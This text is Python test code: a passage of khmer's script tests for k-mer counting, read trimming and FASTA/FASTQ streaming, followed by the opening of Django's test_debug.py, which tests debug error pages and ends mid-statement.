'10000000', '--csv', htfile + '.pt', seqfile2, outfile] (status, out, err) = utils.runscript(script, args, in_dir) assert status == 0 assert os.path.exists(outfile), outfile data = [x.strip() for x in open(outfile)] data = set(data) assert '# of unique k-mers in dataset2: 759047' in data assert '# of overlap unique k-mers: 245621' in data assert os.path.exists(curvefile), curvefile data = [x.strip() for x in open(curvefile)] data = set(data) assert '178633,1155' in data assert '496285,2970' in data assert '752053,238627' in data def execute_streaming_diginorm(ifilename): '''Helper function for the matrix of streaming tests for read_parser using diginorm, i.e. uncompressed fasta, gzip fasta, bz2 fasta, uncompressed fastq, etc. This is not directly executed but is run by the tests themselves ''' # Get temp filenames, etc. fifo = utils.get_temp_filename('fifo') in_dir = os.path.dirname(fifo) script = 'normalize-by-median.py' args = ['-C', '1', '-k', '17', '-o', 'outfile', fifo] # make a fifo to simulate streaming os.mkfifo(fifo) # FIFOs MUST BE OPENED FOR READING BEFORE THEY ARE WRITTEN TO # If this isn't done, they will BLOCK and things will hang. thread = threading.Thread(target=utils.runscript, args=(script, args, in_dir)) thread.start() ifile = io.open(ifilename, 'rb') fifofile = io.open(fifo, 'wb') # read binary to handle compressed files chunk = ifile.read(8192) while len(chunk) > 0: fifofile.write(chunk) chunk = ifile.read(8192) fifofile.close() thread.join() return in_dir + '/outfile' def _execute_load_graph_streaming(filename): '''Helper function for the matrix of streaming tests using screed via filter-abund-single, i.e. uncompressed fasta, gzip fasta, bz2 fasta, uncompressed fastq, etc. This is not directly executed but is run by the tests themselves ''' scripts = utils.scriptpath() infile = utils.copy_test_data(filename) in_dir = os.path.dirname(infile) args = '-x 1e7 -N 2 -k 20 out -' cmd = 'cat {infile} | {scripts}/load-graph.py {args}'.format( infile=infile, scripts=scripts, args=args) (status, out, err) = utils.run_shell_cmd(cmd, in_directory=in_dir) if status != 0: print(out) print(err) assert status == 0, status assert 'Total number of unique k-mers: 3960' in err, err ht_file = os.path.join(in_dir, 'out') assert os.path.exists(ht_file), ht_file tagset_file = os.path.join(in_dir, 'out.tagset') assert os.path.exists(tagset_file), tagset_file ht = Nodegraph.load(ht_file) ht.load_tagset(tagset_file) # check to make sure we get the expected result for this data set # upon partitioning (all in one partition). This is kind of a # roundabout way of checking that load-graph.py worked :) subset = ht.do_subset_partition(0, 0) x = subset.count_partitions() assert x == (1, 0), x def test_screed_streaming_ufa(): # uncompressed fa o = execute_streaming_diginorm(utils.get_test_data('test-abund-read-2.fa')) pathstat = os.stat(o) seqs = [r.sequence for r in screed.open(o)] assert len(seqs) == 1, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG') def test_screed_streaming_ufq(): # uncompressed fq o = execute_streaming_diginorm(utils.get_test_data('test-fastq-reads.fq')) seqs = [r.sequence for r in screed.open(o)] assert seqs[0].startswith('CAGGCGCCCACCACCGTGCCCTCCAACCTGATGGT') def test_screed_streaming_bzipfq(): # bzip compressed fq o = execute_streaming_diginorm(utils.get_test_data('100-reads.fq.bz2')) seqs = [r.sequence for r in screed.open(o)] assert len(seqs) == 100, seqs assert seqs[0].startswith('CAGGCGCCCACCACCGTGCCCTCCAACCTGATGGT'), seqs def test_screed_streaming_bzipfa(): # bzip compressed fa o = execute_streaming_diginorm( utils.get_test_data('test-abund-read-2.fa.bz2')) seqs = [r.sequence for r in screed.open(o)] assert len(seqs) == 1, seqs assert seqs[0].startswith('GGTTGACGGGGCTCAGGGGG') @pytest.mark.known_failing def test_screed_streaming_gzipfq(): # gzip compressed fq o = execute_streaming_diginorm(utils.get_test_data('100-reads.fq.gz')) assert os.path.exists(o) seqs = [r.sequence for r in screed.open(o)] assert seqs[0].startswith('CAGGCGCCCACCACCGTGCCCTCCAACCTG') @pytest.mark.known_failing def test_screed_streaming_gzipfa(): o = execute_streaming_diginorm( utils.get_test_data('test-abund-read-2.fa.gz')) assert os.path.exists(o) seqs = [r.sequence for r in screed.open(o)] assert seqs[0].startswith('GGTTGACGGGGCTCAGGGG') def test_read_parser_streaming_ufa(): # uncompressed FASTA _execute_load_graph_streaming(utils.get_test_data('random-20-a.fa')) def test_read_parser_streaming_ufq(): # uncompressed FASTQ _execute_load_graph_streaming(utils.get_test_data('random-20-a.fq')) @pytest.mark.known_failing def test_read_parser_streaming_bzfq(): # bzip compressed FASTQ _execute_load_graph_streaming(utils.get_test_data('random-20-a.fq.bz2')) def test_read_parser_streaming_gzfq(): # gzip compressed FASTQ _execute_load_graph_streaming(utils.get_test_data('random-20-a.fq.gz')) @pytest.mark.known_failing def test_read_parser_streaming_bzfa(): # bzip compressed FASTA _execute_load_graph_streaming(utils.get_test_data('random-20-a.fa.bz2')) def test_read_parser_streaming_gzfa(): # gzip compressed FASTA _execute_load_graph_streaming(utils.get_test_data('random-20-a.fa.gz')) def test_readstats(): readstats_output = ("358 bp / 5 seqs; 71.6 average length", "916 bp / 11 seqs; 83.3 average length") args = [utils.get_test_data("test-sweep-reads.fq"), utils.get_test_data("paired-mixed.fq")] status, out, err = utils.runscript('readstats.py', args) assert status == 0 for k in readstats_output: assert k in out, (k, out) def test_readstats_csv(): readstats_output = ("358,5,71.6," + utils.get_test_data("test-sweep-reads.fq"), "916,11,83.3," + utils.get_test_data("paired-mixed.fq")) args = [utils.get_test_data("test-sweep-reads.fq"), utils.get_test_data("paired-mixed.fq"), '--csv'] status, out, err = utils.runscript('readstats.py', args) assert status == 0 for k in readstats_output: assert k in out, (k, out) def test_readstats_output(): readstats_output = ("358 bp / 5 seqs; 71.6 average length", "916 bp / 11 seqs; 83.3 average length") outfile = utils.get_temp_filename('output.txt') args = ["-o", outfile, utils.get_test_data("test-sweep-reads.fq"), utils.get_test_data("paired-mixed.fq")] status, _, _ = utils.runscript('readstats.py', args) assert status == 0 out = open(outfile).read() for k in readstats_output: assert k in out, (k, out) def test_readstats_empty(): expected_output = "No sequences found in 2 files" args = [utils.get_test_data("test-empty.fa"), utils.get_test_data("test-empty.fa.bz2")] status, out, err = utils.runscript('readstats.py', args) assert status == 0 assert expected_output in out def test_trim_low_abund_1(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs def test_trim_low_abund_1_long_k(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "35", "-x", "1e7", "-N", "2", infile, '-H', 'murmur'] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs def test_trim_low_abund_1_long_k_twobit_fails(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "35", "-x", "1e7", "-N", "2", infile, '-H', 'twobit-exact'] (status, out, err) = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert status == 1 assert "'twobit-exact' only supports k-mer sizes <= 32" in err def test_trim_low_abund_1_long_k_save_fails(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "35", "-x", "1e7", "-N", "2", infile, '-H', 'murmur', '-s', 'foo'] (status, out, err) = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert status == 1 assert 'ERROR: cannot save different hash functions yet.' in err def test_trim_low_abund_1_long_k_load_fails(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "35", "-x", "1e7", "-N", "2", infile, '-H', 'murmur', '-l', 'foo'] (status, out, err) = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert status == 1 assert 'ERROR: cannot load different hash functions yet.' in err def test_trim_low_abund_1_long_k(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", infile, '-H', 'murmur'] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 1, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs def test_trim_low_abund_1_duplicate_filename_err(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-C', '1', infile, infile] (status, out, err) = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert status == 1 assert "Error: Cannot input the same filename multiple times." in str(err) def test_trim_low_abund_1_stdin_err(): args = ["-"] (status, out, err) = utils.runscript('trim-low-abund.py', args, fail_ok=True) assert status == 1 assert "Accepting input from stdin; output filename must be provided" \ in str(err) def test_trim_low_abund_2(): infile = utils.copy_test_data('test-abund-read-2.fa') infile2 = utils.copy_test_data('test-abund-read-2.fa', 'copyDataTwo') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-C', '1', infile, infile2] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs def test_trim_low_abund_2_o_gzip(): infile = utils.copy_test_data('test-abund-read-2.fa') infile2 = utils.copy_test_data('test-abund-read-2.fa', 'copyDataTwo') outfile = utils.get_temp_filename('out.gz') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-C', '1', "-o", outfile, "--gzip", infile, infile2] utils.runscript('trim-low-abund.py', args, in_dir) assert os.path.exists(outfile), outfile x = list(screed.open(outfile)) assert len(x) # make sure that FASTQ records are retained. def test_trim_low_abund_3_fq_retained(): infile = utils.copy_test_data('test-abund-read-2.fq') infile2 = utils.copy_test_data('test-abund-read-2.fq', 'copyDataTwo') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-C', '1', infile, infile2] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs # check for 'quality' string. seqs = set([r.quality for r in screed.open(outfile)]) assert len(seqs) == 2, seqs assert '##################' in seqs # test that the -V option does not trim sequences that are low abundance def test_trim_low_abund_4_retain_low_abund(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-V', infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs assert 'GGTTGACGGGGCTCAGGG' in seqs # test that the -V option *does* trim sequences that are low abundance def test_trim_low_abund_5_trim_high_abund(): infile = utils.copy_test_data('test-abund-read-3.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-V', infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs # trimmed sequence @ error assert 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGC' in seqs # test that -V/-Z setting - should not trip if -Z is set high enough. def test_trim_low_abund_6_trim_high_abund_Z(): infile = utils.copy_test_data('test-abund-read-3.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", '-V', '-Z', '25', infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = set([r.sequence for r in screed.open(outfile)]) assert len(seqs) == 2, seqs # untrimmed seq. badseq = 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCgtgCCGCAGCTGTCGTCAGGG' \ 'GATTTCCGGGCGG' assert badseq in seqs # should be there, untrimmed def test_trim_low_abund_keep_paired(): infile = utils.copy_test_data('test-abund-read-2.paired.fq') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "-V", infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = [r.name for r in screed.open(outfile)] assert seqs[-2:] == ['pair/1', 'pair/2'], seqs def test_trim_low_abund_keep_paired_casava18(): infile = utils.copy_test_data('test-abund-read-2.paired2.fq') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "-V", infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile seqs = [r.name for r in screed.open(outfile)] assert seqs[-2:] == ['pair:foo 1::N', 'pair:foo 2::N'], seqs def test_trim_low_abund_highfpr(): infile = utils.copy_test_data('test-abund-read-2.paired.fq') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1", "-N", "1", "-V", infile] code, out, err = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert code == 1 assert '** ERROR: the graph structure is too small' in err, err def test_trim_low_abund_trimtest(): infile = utils.copy_test_data('test-abund-read-2.paired.fq') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "-Z", "2", "-C", "1", "-V", infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile for record in screed.open(outfile): if record.name == 'seqtrim/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCC' elif record.name == 'seqtrim/2': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCCGC' elif record.name == 'seqtrim2/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCA' def test_trim_low_abund_trimtest_after_load(): infile = utils.copy_test_data('test-abund-read-2.paired.fq') in_dir = os.path.dirname(infile) saved_table = utils.get_temp_filename('save.ct') args = ["-k", "17", "-x", "1e7", "-N", "2", saved_table, infile] utils.runscript('load-into-counting.py', args, in_dir) args = ["-Z", "2", "-C", "2", "-V", '--loadgraph', saved_table, infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile for record in screed.open(outfile): if record.name == 'seqtrim/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCC' elif record.name == 'seqtrim/2': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCCGC' elif record.name == 'seqtrim2/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCA' def test_trim_low_abund_trimtest_savegraph(): infile = utils.copy_test_data('test-abund-read-2.paired.fq') in_dir = os.path.dirname(infile) saved_table = utils.get_temp_filename('save.ct') args = ["-k", "17", "-x", "1e7", "-N", "2", "-Z", "2", "-C", "2", "-V", '--savegraph', saved_table, infile] utils.runscript('trim-low-abund.py', args, in_dir) outfile = infile + '.abundtrim' assert os.path.exists(outfile), outfile assert os.path.exists(saved_table) for record in screed.open(outfile): if record.name == 'seqtrim/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCC' elif record.name == 'seqtrim/2': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCAGCCGC' elif record.name == 'seqtrim2/1': print(record.name, record.sequence) assert record.sequence == \ 'GGTTGACGGGGCTCAGGGGGCGGCTGACTCCGAGAGACAGCA' def test_trim_low_abund_no_summary_info_by_default(): infile = utils.copy_test_data("test-abund-read-2.fa") in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "-o", "summary", infile] _, out, err = utils.runscript('trim-low-abund.py', args, in_dir) summary_fname = os.path.join(in_dir, "summary.info.json") print(os.path.exists(summary_fname)) assert not os.path.exists(summary_fname), summary_fname def test_trim_low_abund_summary_info_json(): # test JSON file with summary info is created infile = utils.copy_test_data("test-abund-read-2.fa") in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "--summary-info", "json", "-o", "summary", infile] _, out, err = utils.runscript('trim-low-abund.py', args, in_dir) summary_fname = os.path.join(in_dir, "summary.info.json") assert os.path.exists(summary_fname), summary_fname with open(summary_fname) as f: assert json.load(f), 'summary file does not contain valid JSON' def test_trim_low_abund_summary_info_tsv(): # test TSV file with summary info is created infile = utils.copy_test_data("test-abund-read-2.fa") in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", "--summary-info", "tsv", "-o", "summary", infile] _, out, err = utils.runscript('trim-low-abund.py', args, in_dir) summary_fname = os.path.join(in_dir, "summary.info.tsv") assert os.path.exists(summary_fname), summary_fname with open(summary_fname) as f: reader = csv.DictReader(f, dialect='excel-tab') lines = [row for row in reader] assert len(lines) == 1 # test that -o/--out option outputs to STDOUT def test_trim_low_abund_stdout(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", infile, "-o", "-"] _, out, err = utils.runscript('trim-low-abund.py', args, in_dir) # attempt to parse output to check it is in FASTA format stream = io.StringIO(out) assert list(screed.fasta.fasta_iter(stream)), "can't parse stdout" # can't test that the correct message appears because we redirect # the output when under testing. Instead check that incorrect message # does not appear. assert 'output in *.abundtrim' not in err def test_trim_low_abund_output_named(): # check the output filename is mentioned when it is explicitly set infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-k", "17", "-x", "1e7", "-N", "2", infile, "-o", "explicitname.abundtrim"] _, out, err = utils.runscript('trim-low-abund.py', args, in_dir) assert 'output in explicitname.abundtrim' in err def test_trim_low_abund_diginorm_coverage_err(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-M", "1e7", infile, "--diginorm-coverage", "21"] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) print(out, err) assert status == 1 assert 'Error: --diginorm-coverage given, but --diginorm not specified.' \ in err, err def test_trim_low_abund_diginorm_single_pass(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-M", "1e7", infile, "--diginorm", "--single-pass"] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) assert status == 1 assert "Error: --diginorm and --single-pass are incompatible!" \ in err, err def test_trim_low_abund_varcov_err(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-M", "1e7", infile, "-Z", "21"] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir, fail_ok=True) print(out, err) assert status == 1 assert 'Error: --trim-at-coverage/-Z given' in err, err def test_trim_low_abund_single_pass(): infile = utils.copy_test_data('test-abund-read-2.fa') in_dir = os.path.dirname(infile) args = ["-M", "1e7", infile, "-V", '--single-pass'] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir) assert status == 0 def test_trim_low_abund_quiet(): infile = utils.copy_test_data('test-reads.fa') in_dir = os.path.dirname(infile) args = ["-q", "-M", "1e7", infile, "-V", '-Z', '5', '-C', '1'] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir) assert status == 0 assert len(out) == 0 assert len(err) == 0 def test_trim_low_abund_reporting(): infile = utils.copy_test_data('test-reads.fa') in_dir = os.path.dirname(infile) args = ["-M", "1e7", infile, "-V", '-Z', '5', '-C', '1'] status, out, err = utils.runscript('trim-low-abund.py', args, in_dir) assert status == 0 assert '11157 11161 848236 2 152' in err def test_roundtrip_casava_format_1(): # check to make sure that extract-paired-reads produces a file identical # to the input file when only paired data is given. infile = utils.copy_test_data('casava_18-pe.fq') in_dir = os.path.dirname(infile) _, out, err = utils.runscript('extract-paired-reads.py', [infile], in_dir) r = open(infile).read() outfile = infile + '.pe' r2 = open(outfile).read() assert r == r2, (r, r2) def test_roundtrip_casava_format_2(): # check that split-paired-reads -> interleave-reads produces a file # identical to input, when only paired reads are given. infile = utils.copy_test_data('casava_18-pe.fq') outfile = utils.get_temp_filename('test2.fq') in_dir = os.path.dirname(infile) _, out, err = utils.runscript('split-paired-reads.py', [infile], in_dir) utils.runscript('interleave-reads.py', [infile + '.1', infile + '.2', '-o', outfile], in_dir) r = open(infile).read() r2 = open(outfile).read() assert r == r2, (r, r2) def test_existence_failure(): expected_output = 'ERROR: Input file' args = [utils.get_temp_filename('thisfiledoesnotexistatall')] status, out, err = utils.runscript( 'extract-paired-reads.py', args, fail_ok=True) assert status == 1 assert expected_output in err def test_roundtrip_commented_format(): """Split/interleave roundtrip for old style format with comments (#873). This should produce a file identical to the input when only paired reads are given. """ infile = utils.copy_test_data('old-style-format-w-comments.fq') outfile = utils.get_temp_filename('test2.fq') in_dir = os.path.dirname(infile) _, out, err = utils.runscript('split-paired-reads.py', [infile], in_dir) utils.runscript('interleave-reads.py', [infile + '.1', infile + '.2', '-o', outfile], in_dir) r = open(infile).read() r2 = open(outfile).read() assert r == r2, (r, r2) def test_unique_kmers_defaults(): infile = utils.copy_test_data('random-20-a.fa') args = ['-k', '20', '-e', '0.01', infile] _, out, err = utils.runscript('unique-kmers.py', args, os.path.dirname(infile)) err = err.splitlines() assert ('Estimated number of unique 20-mers in {0}: 3950'.format(infile) in err) assert 'Total estimated number of unique 20-mers: 3950' in err def test_unique_kmers_report_fp(): infile = utils.copy_test_data('random-20-a.fa') outfile = utils.get_temp_filename('report.unique') args = ['-k', '20', '-e', '0.01', '-R', outfile, infile] _, out, err = utils.runscript('unique-kmers.py', args, os.path.dirname(infile)) err = err.splitlines() assert ('Estimated number of unique 20-mers in {0}: 3950'.format(infile) in err) assert 'Total estimated number of unique 20-mers: 3950' in err with open(outfile, 'r') as report_fp: outf = report_fp.read().splitlines() assert '3950 20 (total)' in outf assert '3950 20 total' in outf def test_unique_kmers_diagnostics(): infile = utils.copy_test_data('random-20-a.fa') args = ['-k', '20', '-e', '0.01', '--diagnostics', infile] _, out, err = utils.runscript('unique-kmers.py', args, os.path.dirname(infile)) out = out.splitlines() assert ('expected_fp\tnumber_hashtable(Z)\t' 'size_hashtable(H)\texpected_memory_usage' in err) def test_unique_kmers_multiple_inputs(): infiles = [] for fname in ('random-20-a.fa', 'paired-mixed.fa'): infile = utils.copy_test_data(fname) infiles.append(infile) args = ['-k', '20', '-e', '0.01'] args += infiles _, out, err = utils.runscript('unique-kmers.py', args, os.path.dirname(infile)) err = err.splitlines() assert ('Estimated number of unique 20-mers in {0}: 3950' .format(infiles[0]) in err) assert ('Estimated number of unique 20-mers in {0}: 232'.format(infiles[1]) in err) assert 'Total estimated number of unique 20-mers: 4170' in err @pytest.mark.parametrize("scriptname", [entry for entry in os.listdir(utils.scriptpath()) if entry.endswith('.py')]) def test_version_and_basic_citation(scriptname): with open(os.path.join(utils.scriptpath(), scriptname)) as script: line = script.readline() line = script.readline() if 'khmer' in line: # check citation information appears when using --info status, out, err = utils.runscript(scriptname, ["--info"]) assert status == 0, status print(out) print(err) assert "publication" in err, err assert "usage:" not in err, err # check citation information appears in --version status, out, err = utils.runscript(scriptname, ["--version"]) assert status == 0, status assert "publication" in err, err assert "usage:" not in err, err # check citation information appears in --help status, out, err = utils.runscript(scriptname, ["--help"]) assert status == 0, status assert "publication" in err, err assert "usage:" in out, out
test_debug.py
import importlib import inspect import os import re import sys import tempfile import threading from io import StringIO from pathlib import Path from unittest import mock from django.core import mail from django.core.files.uploadedfile import SimpleUploadedFile from django.db import DatabaseError, connection from django.http import Http404, HttpRequest, HttpResponse from django.shortcuts import render from django.template import TemplateDoesNotExist from django.test import RequestFactory, SimpleTestCase, override_settings from django.test.utils import LoggingCaptureMixin from django.urls import path, reverse from django.urls.converters import IntConverter from django.utils.functional import SimpleLazyObject from django.utils.regex_helper import _lazy_re_compile from django.utils.safestring import mark_safe from django.views.debug import ( CallableSettingWrapper, ExceptionCycleWarning, ExceptionReporter, Path as DebugPath, SafeExceptionReporterFilter, default_urlconf, get_default_exception_reporter_filter, technical_404_response, technical_500_response, ) from django.views.decorators.debug import ( sensitive_post_parameters, sensitive_variables, ) from ..views import ( custom_exception_reporter_filter_view, index_page, multivalue_dict_key_error, non_sensitive_view, paranoid_view, sensitive_args_function_caller, sensitive_kwargs_function_caller, sensitive_method_view, sensitive_view, ) class User: def __str__(self): return 'jacob' class WithoutEmptyPathUrls: urlpatterns = [path('url/', index_page, name='url')] class CallableSettingWrapperTests(SimpleTestCase): """ Unittests for CallableSettingWrapper """ def test_repr(self): class WrappedCallable: def __repr__(self): return "repr from the wrapped callable" def __call__(self): pass actual = repr(CallableSettingWrapper(WrappedCallable())) self.assertEqual(actual, "repr from the wrapped callable") @override_settings(DEBUG=True, ROOT_URLCONF='view_tests.urls') class DebugViewTests(SimpleTestCase): def test_files(self): with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/raises/') self.assertEqual(response.status_code, 500) data = { 'file_data.txt': SimpleUploadedFile('file_data.txt', b'haha'), } with self.assertLogs('django.request', 'ERROR'): response = self.client.post('/raises/', data) self.assertContains(response, 'file_data.txt', status_code=500) self.assertNotContains(response, 'haha', status_code=500) def test_400(self): # When DEBUG=True, technical_500_template() is called. with self.assertLogs('django.security', 'WARNING'): response = self.client.get('/raises400/') self.assertContains(response, '<div class="context" id="', status_code=400) def test_400_bad_request(self): # When DEBUG=True, technical_500_template() is called. with self.assertLogs('django.request', 'WARNING') as cm: response = self.client.get('/raises400_bad_request/') self.assertContains(response, '<div class="context" id="', status_code=400) self.assertEqual( cm.records[0].getMessage(), 'Malformed request syntax: /raises400_bad_request/', ) # Ensure no 403.html template exists to test the default case. @override_settings(TEMPLATES=[{ 'BACKEND': 'django.template.backends.django.DjangoTemplates', }]) def test_403(self): response = self.client.get('/raises403/') self.assertContains(response, '<h1>403 Forbidden</h1>', status_code=403) # Set up a test 403.html template. @override_settings(TEMPLATES=[{ 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'OPTIONS': { 'loaders': [ ('django.template.loaders.locmem.Loader', { '403.html': 'This is a test template for a 403 error ({{ exception }}).', }), ], }, }]) def test_403_template(self): response = self.client.get('/raises403/') self.assertContains(response, 'test template', status_code=403) self.assertContains(response, '(Insufficient Permissions).', status_code=403) def test_404(self): response = self.client.get('/raises404/') self.assertNotContains( response, '<pre class="exception_value">', status_code=404, ) self.assertContains( response, '<p>The current path, <code>not-in-urls</code>, didn’t match any ' 'of these.</p>', status_code=404, html=True, ) def test_404_not_in_urls(self): response = self.client.get('/not-in-urls') self.assertNotContains(response, "Raised by:", status_code=404) self.assertNotContains( response, '<pre class="exception_value">', status_code=404, ) self.assertContains(response, "Django tried these URL patterns", status_code=404) self.assertContains( response, '<p>The current path, <code>not-in-urls</code>, didn’t match any ' 'of these.</p>', status_code=404, html=True, ) # Pattern and view name of a RegexURLPattern appear. self.assertContains(response, r"^regex-post/(?P&lt;pk&gt;[0-9]+)/$", status_code=404) self.assertContains(response, "[name='regex-post']", status_code=404) # Pattern and view name of a RoutePattern appear. self.assertContains(response, r"path-post/&lt;int:pk&gt;/", status_code=404) self.assertContains(response, "[name='path-post']", status_code=404) @override_settings(ROOT_URLCONF=WithoutEmptyPathUrls) def test_404_empty_path_not_in_urls(self): response = self.client.get('/') self.assertContains( response, '<p>The empty path didn’t match any of these.</p>', status_code=404, html=True, ) def test_technical_404(self): response = self.client.get('/technical404/') self.assertContains( response, '<pre class="exception_value">Testing technical 404.</pre>', status_code=404, html=True, ) self.assertContains(response, "Raised by:", status_code=404) self.assertContains(response, "view_tests.views.technical404", status_code=404) self.assertContains( response, '<p>The current path, <code>technical404/</code>, matched the ' 'last one.</p>', status_code=404, html=True, ) def test_classbased_technical_404(self): response = self.client.get('/classbased404/') self.assertContains(response, "Raised by:", status_code=404) self.assertContains(response, "view_tests.views.Http404View", status_code=404) def test_non_l10ned_numeric_ids(self): """ Numeric IDs and fancy traceback context blocks line numbers shouldn't be localized. """ with self.settings(DEBUG=True): with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/raises500/') # We look for a HTML fragment of the form # '<div class="context" id="c38123208">', not '<div class="context" id="c38,123,208"' self.assertContains(response, '<div class="context" id="', status_code=500) match = re.search(b'<div class="context" id="(?P<id>[^"]+)">', response.content) self.assertIsNotNone(match) id_repr = match['id'] self.assertFalse( re.search(b'[^c0-9]', id_repr), "Numeric IDs in debug response HTML page shouldn't be localized (value: %s)." % id_repr.decode() ) def test_template_exceptions(self): with self.assertLogs('django.request', 'ERROR'): try: self.client.get(reverse('template_exception')) except Exception: raising_loc = inspect.trace()[-1][-2][0].strip() self.assertNotEqual( raising_loc.find("raise Exception('boom')"), -1, "Failed to find 'raise Exception' in last frame of " "traceback, instead found: %s" % raising_loc ) def test_template_loader_postmortem(self): """Tests for not existing file""" template_name = "notfound.html" with tempfile.NamedTemporaryFile(prefix=template_name) as tmpfile: tempdir = os.path.dirname(tmpfile.name) template_path = os.path.join(tempdir, template_name) with override_settings(TEMPLATES=[{ 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [tempdir], }]), self.assertLogs('django.request', 'ERROR'): response = 